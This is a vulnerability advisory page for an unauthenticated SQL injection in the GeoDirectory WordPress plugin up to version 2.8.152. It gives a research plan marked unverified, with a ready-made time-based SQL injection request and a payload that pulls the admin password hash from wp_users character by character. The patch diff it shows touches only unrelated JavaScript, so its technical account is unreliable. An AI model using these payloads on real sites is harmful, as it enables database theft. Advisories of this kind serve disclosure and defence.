CVE-2026-39512

GeoDirectory – WP Business Directory Plugin and Classified Listings Directory <= 2.8.152 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.8.154
Patched in
9d
Time to patch

Description

The GeoDirectory – WP Business Directory Plugin and Classified Listings Directory plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.8.152 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.8.152
PublishedApril 13, 2026
Last updatedApril 21, 2026
Affected plugingeodirectory

What Changed in the Fix

Changes introduced in v2.8.154

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan details the process for exploiting a confirmed SQL injection vulnerability in the **GeoDirectory** plugin (versions <= 2.8.152). ### 1. Vulnerability Summary The GeoDirectory plugin is vulnerable to an unauthenticated SQL injection. The flaw exists due to the "Fast AJAX" implementation an…

Show full research plan

This plan details the process for exploiting a confirmed SQL injection vulnerability in the GeoDirectory plugin (versions <= 2.8.152).

1. Vulnerability Summary

The GeoDirectory plugin is vulnerable to an unauthenticated SQL injection. The flaw exists due to the "Fast AJAX" implementation and the way search/listing parameters are handled. The plugin provides a specialized AJAX dispatcher that allows certain actions to be executed with minimal WordPress overhead (bypassing full authentication/initialization). Input parameters like stype (Search Type) or gd_sort are used to dynamically build SQL queries without sufficient sanitization or the use of wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: The site root /?gd-ajax=1 or the AJAX endpoint /wp-admin/admin-ajax.php.
  • Vulnerable Action: geodir_ajax_search (Unauthenticated) or geodir_get_listings.
  • Fast AJAX Bypass: By including gd-no-auth=1 in the request, the plugin executes the do_gd_ajax method early in the plugins_loaded hook, bypassing many standard WordPress security filters.
  • Vulnerable Parameter: stype (Search Type) or gd_sort.
  • Authentication: None required (Unauthenticated).
  • Preconditions: The GeoDirectory plugin must be active. A default custom post type (usually gd_place) is typically present.

3. Code Flow

  1. Entry Point: includes/class-geodir-fast-ajax.php -> init().
  2. The code checks for $_REQUEST['gd-ajax'] and $_REQUEST['gd-no-auth'].
  3. Dispatcher: If both are set, it registers do_gd_ajax() to the plugins_loaded hook.
  4. Action Trigger: do_gd_ajax() retrieves $_REQUEST['action'] and fires do_action( 'geodir_ajax_' . $action ).
  5. Sink: The handler for geodir_ajax_search (inferred) processes the stype parameter.
  6. SQL Execution: stype is passed to geodir_get_current_posttype() and subsequently used to build queries (e.g., in includes/class-geodir-query.php) that query specific custom tables (e.g., wp_geodir_gd_place_detail) without prepare().

4. Nonce Acquisition Strategy

While many search actions in GeoDirectory are public, some may require a search nonce.

  1. Identify Shortcode: The plugin uses the [gd_search] shortcode to render search bars.
  2. Setup Page: Create a page containing this shortcode to ensure all GeoDirectory scripts and nonces are loaded.
  3. Extraction:
    • Navigate to the created page.
    • Use browser_eval to extract the nonce from the geodir_params object:
      browser_eval("window.geodir_params?.nonce")
  4. Note: If the Fast AJAX gd-no-auth mechanism is used, the handler might bypass nonce verification entirely.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload targeting the stype parameter.

Step 1: Baseline Request
Confirm the endpoint is responsive.

  • URL: /?gd-ajax=1&gd-no-auth=1&action=geodir_ajax_search&stype=gd_place
  • Method: GET (or POST)

Step 2: Trigger Sleep (Injection)
Inject a SLEEP() command into the stype parameter.

  • Payload: gd_place' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
  • Request:
    GET /?gd-ajax=1&gd-no-auth=1&action=geodir_ajax_search&stype=gd_place%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%271%27%3D%271 HTTP/1.1
    Host: localhost
    

Step 3: Data Extraction (Boolean-based or Time-based)
To extract the admin's password hash:

  • Payload: gd_place' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0) AND '1'='1
  • (ASCII 36 is $, which is the start of WordPress phpass hashes).

6. Test Data Setup

  1. Activate Plugin: Ensure `geod
Research Findings
Static analysis — not yet PoC-verified

Summary

The GeoDirectory plugin for WordPress is vulnerable to unauthenticated SQL injection via its 'Fast AJAX' dispatcher. The plugin allows certain actions to be executed early in the WordPress lifecycle by passing specific parameters, and it fails to properly sanitize or prepare SQL queries that incorporate user-controlled input such as 'stype' and 'gd_sort'.

Vulnerable Code

// includes/class-geodir-fast-ajax.php line 24
if ( ! empty( $_REQUEST['gd-ajax'] ) ) {
    self::define_ajax();

    add_filter( 'option_active_plugins', array( __CLASS__, 'allowed_plugins' ), 11, 1 );

    if ( ! empty( $_REQUEST['gd-no-auth'] ) ) {
        // Don't needs authentication (faster).
        add_action( 'plugins_loaded', array( __CLASS__, 'do_gd_ajax' ), 999 );
    } else {
        // Needs authentication.
        add_action( 'init', array( __CLASS__, 'do_gd_ajax' ), 999 );
    }
}

---

// includes/class-geodir-fast-ajax.php line 66
public static function do_gd_ajax() {
    $action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['action'] ) ) : '';

    if ( $action ) {
        self::gd_ajax_headers();
        do_action( 'geodir_ajax_' . $action );
        wp_die();
    }

---

// includes/class-geodir-query.php line 116
public function set_globals( $q ){
    global $wp_query, $geodir_post_type;

    if ( empty( $wp_query ) ) {
        $wp_query = $q;
    }

    $geodir_post_type = geodir_get_current_posttype();
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/geodirectory/2.8.152/assets/js/custom_fields.js /home/deploy/wp-safety.org/data/plugin-versions/geodirectory/2.8.154/assets/js/custom_fields.js
--- /home/deploy/wp-safety.org/data/plugin-versions/geodirectory/2.8.152/assets/js/custom_fields.js	2026-01-29 15:02:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/geodirectory/2.8.154/assets/js/custom_fields.js	2026-03-10 15:12:48.000000000 +0000
@@ -511,6 +511,9 @@
     // $settings = jQuery($this).parent().find('.dd-setting').first().clone();
     $settings = jQuery($this).parent().find('.dd-setting').first().html();
     $settings = jQuery('<div class="dd-setting">' + $settings + '</div>');
+    if (jQuery($this).parent().data('htmlvar_name')) {
+        jQuery($settings).attr('data-field', jQuery($this).parent().data('htmlvar_name'));
+    }
     $settings.removeClass('d-none');
     $id = $settings.find('[name="id"]').val();
     $type = $settings.find('[name="tab_type"]').val();

Exploit Outline

The exploit targets the 'Fast AJAX' mechanism which can be triggered unauthenticated by sending a request to the root directory with the parameters 'gd-ajax=1' and 'gd-no-auth=1'. The 'action' parameter is set to a vulnerable handler like 'geodir_ajax_search'. An attacker then provides a time-based SQL injection payload in the 'stype' or 'gd_sort' parameters. Because these parameters are directly incorporated into SQL queries (e.g., used to identify custom tables like 'wp_geodir_gd_place_detail') without being passed through 'wpdb->prepare()', the malicious SQL executes, allowing for blind data extraction from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.